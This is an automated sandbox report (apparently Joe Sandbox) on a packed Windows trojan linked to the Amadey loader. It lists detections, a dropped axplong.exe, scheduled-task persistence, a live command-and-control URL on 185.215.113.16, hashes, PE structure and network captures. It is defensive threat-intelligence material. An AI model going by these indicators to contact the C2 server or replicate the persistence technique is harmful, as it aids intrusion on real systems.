file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.16/Jo89Ku7d/index.php)G	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php$	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php.	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php;	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php:V	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpB	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpf	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.phpded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpg	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpw	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncodedh	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpq	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php.	axplong.exe, 00000006.00000002.2996262320.00000000015E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php)G	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php:V	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpg	axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpf	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php$	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpB	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php;	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpw	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedh	axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpq	axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000002.2996262320.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520351
Start date and time:	2024-09-27 08:39:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@0/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 2536 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 2892 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6912 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:41:02	API Interceptor	281368x Sleep call for process: axplong.exe modified
07:40:09	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, DarkTortilla	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1882624
Entropy (8bit):	7.949673884409674
Encrypted:	false
SSDEEP:	49152:kxhfh3XzQERdB834wR6DOU6ivpU9SnCNO/GmkCzxX:w9pUqwcD1noShvx
MD5:	FC16F8C6B738FBB7D1A03848329360EA
SHA1:	27260A586B8511D4375F086210BD751B79E50B1B
SHA-256:	40E3298B5E6B98F8B52A2AF928463A543E7F0A6DCA869565E8AC8AD867F3CE61
SHA-512:	55DCCD477A2F35743FDDC72FDAE8A7C30CFCA356FF00857604152AFC9D9BE4856AA822321B8E822131F7D4E3E9FF9E67020F63E712601F33201C86FAF876FD6D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................`J...........@...........................J.....f.....@.................................W...k...........................,LJ..............................KJ..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...ttawmtnf......0.....................@...ozsesycy.....PJ.....................@....taggant.0...`J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4223639633311005
Encrypted:	false
SSDEEP:	6:MTtXpRKUEZ+lX1lOJUPelkDdtPjgsW2YRZuy0lb1ldt0:YpRKQ1lOmeeDHjzvYRQVRt0
MD5:	5B25A23EDDD14C546110C9F5AB4049F3
SHA1:	6E084DE9FCEC275FCEDD7D6132D55CABE184EEA4
SHA-256:	188234C1D514205F2707E02F6D88689CB8458F864F26BCFA1E2E745D42EF2AF0
SHA-512:	62B09730227E52E3C788FD014077D3C9B44E156D7BDE3F3834CB46B32A22892719D200B442886529D465EB409519F7C97928FB620C643A603D5242D39E871F91
Malicious:	false
Reputation:	low
Preview:	.....b\|..n4M....}.5!F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................).@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949673884409674
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'882'624 bytes
MD5:	fc16f8c6b738fbb7d1a03848329360ea
SHA1:	27260a586b8511d4375f086210bd751b79e50b1b
SHA256:	40e3298b5e6b98f8b52a2af928463a543e7f0a6dca869565e8ac8ad867f3ce61
SHA512:	55dccd477a2f35743fddc72fdae8a7c30cfca356ff00857604152afc9d9be4856aa822321b8e822131f7d4e3e9ff9e67020f63e712601f33201c86faf876fd6d
SSDEEP:	49152:kxhfh3XzQERdB834wR6DOU6ivpU9SnCNO/GmkCzxX:w9pUqwcD1noShvx
TLSH:	1A9533D709802B26C43C4A77F3728D3397392DC9B52C8DE96D0296FB5193FE6B980856
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9D11273C9Ah
sets byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9D11275C95h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a4c2c	0x10	ttawmtnf
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a4bdc	0x18	ttawmtnf
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	8b97350477ae30f2a497c05d021eb50e	False	0.997264560626703	OpenPGP Secret Key	7.981060987625007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b9d1858cc6dd5a1fb1dead601b986770	False	0.57421875	data	4.483142036160835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a0000	0x200	6477efef5a329169bc16ee5614052519	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ttawmtnf	0x30b000	0x19a000	0x199e00	c337336ea205f73df5d52d2ec3736501	False	0.9947279324870387	data	7.953226597042887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ozsesycy	0x4a5000	0x1000	0x600	a6dc26e052327773bb6a5c6cc8e43820	False	0.55078125	data	4.93535810745984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a6000	0x3000	0x2200	39e6d3f9e1f22c8ed7b45a7bba7f8bf6	False	0.05755974264705882	DOS executable (COM)	0.793755423191359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a4c3c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T08:41:07.471680+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	53656	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 08:41:03.628830910 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:03.633761883 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:03.633825064 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:03.634221077 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:03.638998985 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.346273899 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.346384048 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.348231077 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.353849888 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.574336052 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.574515104 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.687941074 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.688563108 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.693240881 CEST	80	53653	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.693341017 CEST	53653	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.693350077 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:04.693413019 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.693566084 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:04.698322058 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.390173912 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.390383005 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.395132065 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.400007963 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.621922016 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.622123003 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.734651089 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.735002041 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.740528107 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.740772963 CEST	80	53654	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:05.740910053 CEST	53654	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.741049051 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.741049051 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:05.746125937 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.437556982 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.437619925 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.439991951 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.445702076 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.662950993 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.663022041 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.766298056 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.767013073 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.771562099 CEST	80	53655	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.771624088 CEST	53655	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.771915913 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:06.771985054 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.772139072 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:06.776945114 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:07.471334934 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:07.471679926 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:07.478423119 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:07.483236074 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:07.706590891 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:07.706664085 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:07.812812090 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:07.813123941 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.003304005 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.003458977 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.003474951 CEST	80	53656	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.003530979 CEST	53656	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.003845930 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.008603096 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.723110914 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.723181009 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.724097013 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:08.730210066 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.945633888 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:08.945720911 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.047111988 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.047575951 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.052212000 CEST	80	53657	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:09.052297115 CEST	53657	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.052345037 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:09.052424908 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.052608967 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.057544947 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:09.846620083 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:09.846820116 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.847716093 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:09.852526903 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.082247019 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.082401991 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.190747976 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.191410065 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.196185112 CEST	80	53658	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.196230888 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.196300983 CEST	53658	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.196352005 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.196779013 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.201545954 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.907996893 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:10.908091068 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.908673048 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:10.913407087 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:11.139823914 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:11.139930010 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:11.254395008 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:11.254780054 CEST	53660	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:11.259619951 CEST	80	53659	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:11.259641886 CEST	80	53660	185.215.113.16	192.168.2.4
Sep 27, 2024 08:41:11.259702921 CEST	53659	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:41:11.259763956 CEST	53660	80	192.168.2.4	185.215.113.16
